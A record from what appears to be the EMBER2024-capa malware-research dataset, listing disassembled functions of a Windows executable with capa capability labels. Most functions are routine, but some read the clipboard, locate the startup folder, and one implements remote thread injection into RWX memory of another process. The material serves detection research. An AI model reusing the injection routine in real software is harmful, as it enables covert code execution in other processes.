joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402db0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004043ec
test esi, esi
jne 0x402de7
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.004044dc
jmp 0x402e08
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402c4c
mov dword [esp], eax
test esi, esi
je 0x402e08
cmp dword [ebx], 0
je 0x402e08
dec esi
jmp 0x402def
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4030ec
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x45c008], 0x8088405
inc edx
mov dword [ebx + 0x45c008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403544
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x45c024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4035dc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4035bc
xor eax, eax
push ebp
push 0x4035b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4035f8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4035bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x45c024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x45c024], ax
mov esp, ebp
pop ebp
ret

Function at 0x4041e4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46104c], 0
je 0x404245
cmp word [0x461220], 0xd7b2
jne 0x40420d
cmp dword [0x461228], 0
jbe 0x40420d
mov eax, 0x46121c
call dword [0x461238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45c070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40426c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x45c034], 0
jne 0x404261
push 0
push 0x45c068
push 0x45c070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4043a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402a18
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x46104d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404368
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x40654c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4065b2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040465c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403108
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40659c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4065b9
lea eax, [ebp - 0x10]
call fcn.004043ec
ret

Function at 0x40b520
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b559
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004044dc
jmp 0x40b562
mov eax, ebx
mov edx, esi
call fcn.00404440
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b56c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b58d
mov al, byte [esp]
jmp 0x40b58f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40bc24
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40ba8c
mov eax, dword [0x460b28]
cmp byte [eax], 0
je 0x40bca0
mov eax, dword [0x4608d0]
call fcn.00402f1c
call fcn.00402b78
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408d28
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bce8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bcd6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x46087c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x461668]
call fcn.004059ac
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40cb88
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40cbec
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040465c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040866c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cbf3
lea eax, [ebp - 0xc]
call fcn.004043ec
ret

Function at 0x40df7c
Capabilities:
Hash data with md5

Disassembly:
push ebx
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
mov edx, 0x40
lea ecx, [eax + 0x18]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x40df8f
mov edx, 0x10
lea ecx, [eax + 0x58]
xor ebx, ebx
mov dword [ecx], ebx
add ecx, 4
dec edx
jne 0x40df9e
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebx
ret

Function at 0x40ec48
Capabilities:
Hash data with md5

Disassembly:
push ebx
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
mov edx, 0x40
lea ecx, [eax + 0x18]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x40ec5b
mov edx, 0x10
lea ecx, [eax + 0x58]
xor ebx, ebx
mov dword [ecx], ebx
add ecx, 4
dec edx
jne 0x40ec6a
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebx
ret

Function at 0x41a58c
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041a3b8
dec esi
jne 0x41a5ae
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x41b0c0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, eax
xor ebx, ebx
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x41b125
push 1
call sub.user32.dll_GetClipboardData
mov esi, eax
test esi, esi
je 0x41b120
push esi
call sub.kernel32.dll_GlobalLock
mov dword [esp], eax
cmp dword [esp], 0
je 0x41b120
push esi
call sub.kernel32.dll_GlobalSize
mov esi, eax
test esi, esi
je 0x41b117
mov eax, edi
mov edx, esi
call fcn.004049f8
mov eax, edi
call fcn.00404920
mov ecx, esi
mov edx, dword [esp]
call fcn.00406edc
mov bl, 1
mov eax, dword [esp]
push eax
call sub.kernel32.dll_GlobalUnlock
call sub.user32.dll_CloseClipboard
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x42bc48
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42bd13
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.00430944
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, 0x42bd28
call fcn.00404714
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00434044
test al, al
jne 0x42bcf8
push 0x208
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x42bcd9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 7
mov eax, dword [ebp - 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004053c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42bce0
mov eax, dword [ebp - 8]
push eax
call sub.ole32.dll_CoTaskMemFree
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42bd1a
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404410
ret

Function at 0x42be48
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42bec1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
mov edx, 0x1e
call fcn.00406ee4
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x42bed4
mov edx, ebx
call fcn.00404c98
mov eax, dword [ebp - 0x24]
call fcn.00404c1c
mov dword [ebp - 0x16], eax
mov word [ebp - 0xe], 0xc14
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationW
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42bec8
lea eax, [ebp - 0x24]
call fcn.00404a8c
ret

Function at 0x42bedc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42bf55
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
mov edx, 0x1e
call fcn.00406ee4
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x42bf6c
mov edx, ebx
call fcn.00404714
mov eax, dword [ebp - 0x24]
call fcn.004048c8
mov dword [ebp - 0x16], eax
mov word [ebp - 0xe], 0xc14
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42bf5c
lea eax, [ebp - 0x24]
call fcn.004043ec
ret
Function at 0x42bf70
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42c00e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
mov edx, 0x1e
call fcn.00406ee4
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 2
lea eax, [ebp - 0x24]
mov ecx, 0x42c028
mov edx, ebx
call fcn.00404714
mov eax, dword [ebp - 0x24]
call fcn.004048c8
mov dword [ebp - 0x16], eax
lea eax, [ebp - 0x28]
mov ecx, 0x42c028
mov edx, esi
call fcn.00404714
mov eax, dword [ebp - 0x28]
call fcn.004048c8
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], 0x614
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42c015
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00404410
ret

Function at 0x42c02c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42c0e4
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x42c0f8
call fcn.004342a4
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00434044
test al, al
jne 0x42c0b6
push 0x208
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x42c0af
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 5
mov eax, dword [ebp - 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004053c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42c0b6
mov eax, dword [ebp - 8]
push eax
call sub.ole32.dll_CoTaskMemFree
ret
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040c930
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00404440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42c0eb
lea eax, [ebp - 0xc]
call fcn.004043ec
ret
Function at 0x42c13c
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x42c316
push dword fs:[eax]
mov dword fs:[eax], esp
test bl, bl
je 0x42c202
cmp dword [ebp - 4], 0
jne 0x42c189
lea eax, [ebp - 4]
mov edx, 0x42c334
call fcn.00404484
lea eax, [ebp - 0x6c]
mov edx, 0x44
call fcn.00406ee4
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.00406ee4
mov dword [ebp - 0x6c], 0x44
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x40], 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004048c8
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x42c1fd
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
mov esi, dword [ebp - 0x28]
jmp 0x42c225
mov byte [ebp - 9], 0
test esi, esi
je 0x42c2fb
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x42c2fb
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
push 0
push esi
call fcn.004269b0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42c261
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42c2fb
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
lea eax, [ebp - 8]
call fcn.00404920
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call fcn.00426a48
mov eax, dword [ebp - 8]
call fcn.004046c8
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x42c2ad
cmp eax, dword [esp]
pop edx
pop eax
jae 0x42c2d1
jmp 0x42c2b1
pop edx
pop eax
jge 0x42c2d1
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004046c8
push eax
lea eax, [ebp - 8]
call fcn.00404920
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x18]
push eax
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
test bl, bl
jne 0x42c2f3
push esi
call sub.kernel32.dll_CloseHandle
test edi, edi
jbe 0x42c2fb
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42c31d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret
Function at 0x42d718
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
xor ebx, ebx
push 0x20119
lea eax, [esp + 4]
push eax
mov eax, esi
call fcn.004048c8
mov edx, eax
xor ecx, ecx
mov eax, 0x80000001
call fcn.00433b48
test eax, eax
jne 0x42d775
lea eax, [esp + 8]
push eax
push 0
lea eax, [esp + 0xc]
push eax
push 0
mov eax, edi
call fcn.004048c8
push eax
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x42d76d
mov bl, 1
mov eax, dword [esp]
call fcn.00433b20
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret

Function at 0x42eba0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048b8
mov eax, dword [ebp - 8]
call fcn.004048b8
xor eax, eax
push ebp
push 0x42ec05
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.004048c8
push eax
mov eax, dword [ebp - 4]
call fcn.004048c8
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ec0c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404410
ret

Function at 0x42efb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030cc
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.004048c8
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.004048c8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.004048c8
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x42f056
push 1
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x42f041
inc esi
cmp esi, 0x7530
jg 0x42f04a
cmp dword [ebp - 0x10], 0x103
je 0x42f020
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x42f064
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42f0e3
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00430d10
mov edx, dword [ebp - 4]
mov eax, 0x42f0f8
call fcn.0042f914
test eax, eax
jle 0x42f0ab
push 0
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
call fcn.0042f4b4
mov ebx, eax
jmp 0x42f0cd
push esi
push 0x42f104
push 0x42f104
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
push 0x42f108
push 0
call sub.shell32.dll_ShellExecuteW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42f0ea
lea eax, [ebp - 4]
call fcn.00404a8c
ret
Function at 0x42f4b4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404f40
lea eax, [ebp - 8]
call fcn.00404f40
lea eax, [ebp - 0xc]
call fcn.00404f40
xor eax, eax
push ebp
push 0x42f688
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00404d48
je 0x42f537
push 0x42f69c
push dword [ebp - 4]
push 0x42f6a4
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404d00
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.004081c4
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404aec
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406ee4
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406ee4
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov word [ebp - 0x30], 0
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404d48
jne 0x42f5de
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x42f64d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x6c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x6c]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
jmp 0x42f64d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c1c
mov ebx, eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x42f64d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push 0
push 0x8004000
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 0x70]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessW
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 8], 0
je 0x42f660
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42f68f
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.00404aa4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404aa4
ret